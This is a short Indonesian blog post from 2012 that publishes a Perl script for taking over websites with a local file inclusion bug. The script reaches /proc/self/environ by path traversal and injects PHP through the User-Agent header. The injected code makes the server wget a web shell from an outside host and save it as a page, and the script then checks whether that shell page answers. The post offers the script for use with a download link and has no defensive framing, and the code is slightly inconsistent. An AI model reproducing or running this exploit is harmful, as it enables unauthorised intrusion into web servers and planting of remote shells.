Laman

Berita Terkini : Film Indonesia

Kamis, 26 Juli 2012

Simple Shell Uploader via LFI

#!/usr/bin/perl

# Simple Shell Uploader via LFI Bugz (/proc/self/environ)

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;

if (@ARGV != 2) { print "\n[!] perl $0 <target> <bug>\n"; exit(); }

$target = $ARGV[0];
$lfibug = $ARGV[1];
$environ = '../../../../../../../../../../../../../../../proc/self/environ';
$host = '';
$path = '';

if ($target =~ /http:\/\// ) { $target = str_replace($target,"http:\/\/",''); }
if ($target =~ /^(.+?)\/(.+)$/) { ($host,$path) = ($1,$2); } else { $host = $target; }

$xpl = $target.'/'.$lfibug.$environ;
$content = get_content($xpl);
if ($content =~ /HTTP_USER_AGENT=/) {
print "\n[~] Hancurkan $host ... \n";
my $cmd = "<?system(\'wget http:\/\/pacenoge.org\/tool\/simple_shell.txt -O article.php\');?>";
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or die("\n[!] $host -> Koneksi Gagal !!!\n");
print $sock "GET /".$path.'/'.$lfibug.$environ." HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: ".$cmd."\r\n\r\n";
close($sock);
sleep(2);
my $check = get_content($target.'/n0va.php');
if (($check =~ /<h1>NoGe WazZ HeRe<\/h1>/) or ($check =~ /<title>NoGe S!mPLe SHeLL<\/title>/)) {
print "\n[+] 3SUCCESS -> http://".$target."/n0va.php \n";
}
else { print "\n[!] Gagal.\n"; }
}
else { print "\n[!] $host -> Tidak Terdapat \"HTTP_USER_AGENT\"\n"; }


Download : n0va.txt

Tidak ada komentar:

Posting Komentar